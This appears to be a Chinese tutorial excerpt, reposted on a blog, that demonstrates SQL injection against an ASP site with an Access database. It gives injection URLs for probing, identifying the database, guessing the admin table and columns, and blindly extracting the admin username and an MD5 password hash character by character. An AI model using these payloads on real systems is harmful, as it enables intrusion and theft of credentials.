您的位置:首页 > 数据库

实例——注入攻击Access

2013-06-07 09:55 281 查看
第1步:加单引号。
如图6.18所示,在浏览器地址栏中http://www.yyy.com/productDetail_c.asp?ID=568后面加一个单引号,按Enter键后,服务器返回错误提示。
第2步:测试“and 1=1”。如图6.19所示,在浏览器地址栏中http://www.yyy.com/ productDetail_c.asp?ID=568后面加“and 1=1”,按Enter键后,服务器返回正常页面。


第3步:测试“and 1=2”。
如图6.20所示,在浏览器地址栏中http://www.yyy.com/productDetail_c.asp?ID=568后面加“and 1=2”,按Enter键后,服务器返回异常页面。
第4步:判断数据库类型。
Access和SQL Server都有自己的系统表,比如存放数据库中所有对象的表:Access是在系统表“msysobjects”中,但在Web环境下读该表会提示“没有权限”;SQL Server是在表“sysobjects”中,在Web环境下可正常读取。
在确认可以注入的情况下,使用下面的语句: http://www.yyy.com/productDetail_c.asp?ID=568 and (select count(*) from sysobjects)>0如果数据库是Access,由于找不到表sysobjects,服务器返回如图6.21所示的错误提示。
使用下面的语句: http://www.yyy.com/productDetail_c.asp?ID=568 and (select count(*) from msysobjects)>0如果是Access数据库,服务器会返回错误提示“在'msysobjects'上没有读取数据权限。”,如图6.22所示,如果Web程序有容错能力,那么服务器返回的页面也会与原页面不同。
由上可以判断数据库用的是Access。
第5步:猜测表名。猜测表名时也可以使用如下形式: http://www.yyy.com/productDetail_c.asp?ID=568 and (select count(*) from admin)>=0http://www.yyy.com/productDetail_c.asp?ID=568 and exists(select * from admin)是向数据库查询是否存在admin表,如果存在则返回正常页面,不存在会返回错误提示,如此循环,直至猜测到表名为止。
返回正常页面时,猜测到管理员表是admin。
第6步:猜测字段名(用户名和密码字段)。表名猜出来后,将count(*)替换成count(字段名),用同样的原理猜解字段名。
首先猜测用户名字段:
www.yyy.com/productDetail_c.asp?ID=568 and (select count(username) from admin)>=0www.yyy.com/productDetail_c.asp?ID=568 and exists(select username from admin)返回正常页面,用户名字段猜测成功,用户名字段名是“username”。
然后猜测密码字段:
www.yyy.com/productDetail_c.asp?ID=568 and (select count(password) from admin)>=0www.yyy.com/productDetail_c.asp?ID=568 and exists(select password from admin)返回正常页面,则密码字段猜测成功,密码字段名是“password”。
第7步:猜测用户名。已知表admin中存在username字段,下面使用ASCII逐字解码法猜测用户名。
猜测用户名的长度:
www.yyy.com/productDetail_c.asp?ID=568 and (select top 1 len(username) from admin)>4返回正常页面;www.yyy.com/productDetail_c.asp?ID=568 and (select top 1 len(username) from admin)>5返回不正常页面,可知用户名长度是5。

在得到用户名长度后,用asc (mid (username, N, 1))获得第N位字符的ASCII码,比如:
(1)猜测第1个字符。
从ID=568 and (select top 1 asc (mid (username, 1, 1)) from admin)>0到ID=568 and (select top 1 asc (mid (username, 1, 1)) from admin)>96显示正常,而ID=568 and (select top 1 asc (mid (username, 1, 1)) from admin)>97显示不正常,得第1个字符是“a”(查ASCII码字符表,字符a的十进制编码是97)。
(2)猜测第2个字符。
从ID=568 and (select top 1 asc (mid (username, 2, 1)) from admin)>0到ID=568 and (select top 1 asc (mid (username, 2, 1)) from admin)>99显示正常,而ID=568 and (select top 1 asc (mid (username, 2, 1)) from admin)>100显示不正常,得第2个字符是“d”(查ASCII码字符表,字符d的十进制编码是100)。
(3)猜测第3个字符。
(4)猜测第4个字符。
(5)猜测第5个字符。
最终得到用户名是“admin”。
第8步:猜测用户密码。已知表admin中存在password字段,下面猜测用户admin的密码。
猜测密码的长度:
www.yyy.com/productDetail_c.asp?ID=568 and (select top 1 len(password) from admin)>15返回正常页面,www.yyy.com/productDetail_c.asp?ID=568 and (select top 1 len(password) from admin)>16返回不正常页面,可知用户admin的密码长度是16(md5加密后的)。
在得到用户admin的密码长度后,就可以用asc (mid (password, N, 1))获得第N位字符的ASCII码,比如:
(1)猜测第1个字符。
从ID=568 and (select top 1 asc (mid (password, 1, 1)) from admin)>0到ID=568 and (select top 1 asc (mid (password, 1, 1)) from admin)>56显示正常,而ID=568 and (select top 1 asc (mid (password, 1, 1)) from admin)>57显示不正常,得第1个字符是“9”(查ASCII码字符表,字符9的十进制编码是57)。
(2)猜测第2个字符。
从ID=568 and (select top 1 asc (mid (password, 2, 1)) from admin)>0到ID=568 and (select top 1 asc (mid (password, 2, 1)) from admin)>56显示正常,而ID=568 and (select top 1 asc (mid (password, 2, 1)) from admin)>57显示不正常,得第2个字符是“9”(查ASCII码字符表,字符9的十进制编码是57)。
(3)猜测第3个字符。
(4)猜测第4个字符。
(5)猜测第5个字符。
(6)猜测第6个字符。
(7)猜测第7个字符。
(8)猜测第8个字符。
(9)猜测第9个字符。
(10)猜测第10个字符。
(11)猜测第11个字符。
(12)猜测第12个字符。
(13)猜测第13个字符。
(14)猜测第14个字符。
(15)猜测第15个字符。
(16)猜测第16个字符。
最终得到md5密码是“993a366f61fd519a”,然后要对密码进行破解。
注意:猜解Access时只能用ASCII逐字解码法,SQL Server也可以用这种方法,但是如果能用MS SQL Server的报错信息把相关信息暴露出来,会极大地提高效率和准确率。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息